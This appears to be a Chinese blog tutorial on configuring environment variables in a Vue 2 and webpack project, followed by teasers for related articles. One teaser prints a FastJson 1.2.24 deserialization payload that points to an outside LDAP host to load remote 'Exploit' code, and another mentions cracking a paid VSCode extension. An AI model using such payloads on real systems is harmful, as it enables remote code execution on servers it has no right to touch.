vue2+webpack环境变量配置

第一步:创建3个环境变量文件

在这里插入图片描述

1、创建> 生产(本地)环境 .env.development
# 开发环境
ENV='development'
VUE_APP_MEDIA_BASE='调后端请求的地址'
2、创建> 测试环境 .env.staging
# 测试环境
ENV='staging'
VUE_APP_MEDIA_BASE='调后端请求的地址'
3、创建> 生产(正式)环境 .env.production
# 正式环境
ENV='production'
VUE_APP_MEDIA_BASE='调后端请求的地址'

第二步:在vue.config.js文件中配置


module.exports = {//生产环境使用development的变量lintOnSave: process.env.ENV === 'development',//设置代理proxy: {'/api': {target: process.env.VUE_APP_MEDIA_BASE,changeOrigin: true,}}
}

第三步:配置package.json

//正式环境build指令build:prod
//测试环境build指令build:stage"scripts": {"dev": "vue-cli-service serve","build:prod": "vue-cli-service build","build:stage": "vue-cli-service build --mode staging",}

验证是否生效:在main.js或者vue.config.js或者任意组件中打印一下process.env.VUE_APP_MEDIA_BASE,如果获取到就证明验证成功了

注意!!!在文件中配置环境路径,前面必须以VUE_APP开头!!!

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/bicheng/82086.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【通用智能体】Intelligent Internet Agent (II-Agent):面向复杂网络任务的智能体系统深度解析

Intelligent Internet Agent (II-Agent):面向复杂网络任务的智能体系统深度解析 一、系统架构与设计哲学1.1 核心架构设计1.2 技术创新点1.2.1 动态任务分配机制1.2.2 网络状态感知模块 二、系统架构解析2.1 完整工作流程2.2 性能指标对比 三…

力扣第450场周赛

Q1. 数位和等于下标的最小下标 给你一个整数数组 nums 。 返回满足 nums[i] 的数位和(每一位数字相加求和)等于 i 的 最小 下标 i 。 如果不存在满足要求的下标,返回 -1 。 示例 1: 输入:nums [1,3,2] 输出&#xff1…

【氮化镓】偏置对GaN HEMT 单粒子效应的影响

2025年5月19日,西安电子科技大学的Ling Lv等人在《IEEE Transactions on Electron Devices》期刊发表了题为《Single-Event Effects of AlGaN/GaN HEMTs Under Different Biases》的文章,基于实验和TCAD仿真模拟方法,研究了单粒子效应对关断状态、半开启状态和开启状态下AlG…

湖北理元理律师事务所债务优化方案:让还款与生活平衡成为可能

在现代社会,债务问题已经成为影响许多家庭生活质量的重要因素。如何在不影响基本生活的前提下合理规划还款,是众多债务人面临的实际难题。湖北理元理律师事务所推出的债务优化服务,正是针对这一需求而设计的专业解决方案。 该所的债务优化方…

FastJson1.2.24反序列化原理

{"type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true} 测试执行 DNS解析记录 利用JNDI工具进行注入 复现流程 java -jar JNDI-Injection-Explo…

基于Android的点餐系统_springboot+vue

开发语言:Java框架:springboot AndroidJDK版本:JDK1.8服务器:tomcat7数据库:mysql 5.7数据库工具:Navicat12开发软件:eclipse/myeclipse/ideaMaven包:Maven3.3.9 系统展示 APP登录…

Maven 项目介绍

一、Maven 概述​ Maven 是一个基于 Java 的项目管理和构建自动化工具,由 Apache 软件基金会开发。它采用 “约定优于配置”(Convention Over Configuration)的原则,通过标准化的项目结构和配置,极大地简化了项目的构建…

人工智能+:职业技能培训的元命题与能力重构

当“人工智能”成为各行各业的热门命题时,我们似乎跳过了一个更根本的思考:人类究竟需要怎样的AI能力?这个问题不解决,任何技术赋能都可能沦为无本之木。真正的挑战不在于如何应用AI,而在于如何定义人与AI的能力边界—…

相同,对称,平衡,右视图(二叉树)

本篇基于b站灵茶山艾府。 100. 相同的树 给你两棵二叉树的根节点 p 和 q ,编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同,并且节点具有相同的值,则认为它们是相同的。 示例 1: 输入:p [1,2,3], q…

MCU开发学习记录19* - CAN学习与实践(HAL库) - 定时传输、触发传输和请求传输(轮询与中断实现) -STM32CubeMX

名词解释: CAN:Controller Area Network ISO:​International Organization for Standardization ​OSI:​Open Systems Interconnection SOF:​Start Of Frame EOF:​End Of Frame​​ 统一文章结构&…

LEED认证是什么?LEED认证难吗?LEED认证需要准备的资料

LEED(Leadership in Energy and Environmental Design,能源与环境设计先锋)是由美国绿色建筑委员会(USGBC)开发的一套全球广泛认可的绿色建筑认证体系,用于评估建筑在设计、施工、运营和维护中的可持续性表…

【ffmpeg】ffprobe基本用法

ffprobe 是 FFmpeg 工具集中的一个强大命令行工具,主要用于分析多媒体文件(如视频、音频等)的格式和内容信息。它可以提取文件的元数据、编解码器信息、流详情、帧信息等,而无需对文件进行转码或修改。 基本用法 ffprobe [选项] …

暗黑科技感风格智慧工地监管系统

智慧工地监管系统作为这场变革中的关键力量,正逐渐改变着传统工地的管理模式。今天,就带大家一同领略一款用Axure精心打造的暗黑科技感风格智慧工地监管系统原型,感受科技与建筑碰撞出的奇妙火花。 这款智慧工地监管系统原型采用了极具魅力的…

【软件安装】Windows操作系统中安装mongodb数据库和mongo-shell工具

这篇文章,主要介绍Windows操作系统中如何安装mongodb数据库和mongo-shell工具。 目录 一、安装mongodb数据库 1.1、下载mongodb安装包 1.2、添加配置文件 1.3、编写启动脚本(可选) 1.4、启动服务 二、安装mongo-shell工具 2.1、下载mo…

CSS:margin的塌陷与合并问题

文章目录 一、margin塌陷问题二、margin合并问题 一、margin塌陷问题 二、margin合并问题

PostgreSQL 数据库备份与恢复

1 逻辑备份(单库) postgres#pg_dump --help 使用方法: pg_dump [选项]... [数据库名字] 一般选项: -f, --fileFILENAME 输出文件或目录名 -F, --formatc|d|t|p 输出文件格式 (c 自定义压缩格式输出, d 目录, tar,p 备份为文本明…

使用 LibreOffice 实现各种文档格式转换(支持任何开发语言调用 和 Linux + Windows 环境)[全网首发,保姆级教程,建议收藏]

以下能帮助你可以使用任何开发语言,在任何平台都能使用 LibreOffice 实现 Word、Excel、PPT 等文档的自动转换,目前展示在 ASP.NET Core 中为 PDF的实战案例,其他的文档格式转换逻辑同理。 📦 1. 安装 LibreOffice 🐧…

AWS stop/start 使实例存储lost + 注意点

先看一下官方的说明: EC2有一个特性,当执行stop/start操作(注意,这个并不是重启/reboot,而是先停止/stop,再启动/start)时,该EC2会迁移到其它的底层硬件上。 对于实例存储来说,由于实例存储是由其所在的底层硬件来提供的,此时相当于分配到了一块全新的空的磁盘。 但是从…

跨域问题详解

目录 一、什么是跨域问题? 二、跨域问题出现的原因 三、跨域的解决方案 四、结语 在 Web 开发的世界里,当我们尝试通过 AJAX 等技术获取不同源的资源时,常常会遇到 “跨域问题”。这不仅是前端开发者频繁遭遇的技术障碍,也是保…

VSCode 插件 GitLens 破解方法

文章目录 1. 安装指定版本2. 修改插件文件3. 重启 VSCode 1. 安装指定版本 在 VSCode 中打开扩展(Ctrl Shift X),搜索 GitLens,右键点击 安装特定版本,在弹出的窗口中选择 17.0.2,然后等待安装完成。 2…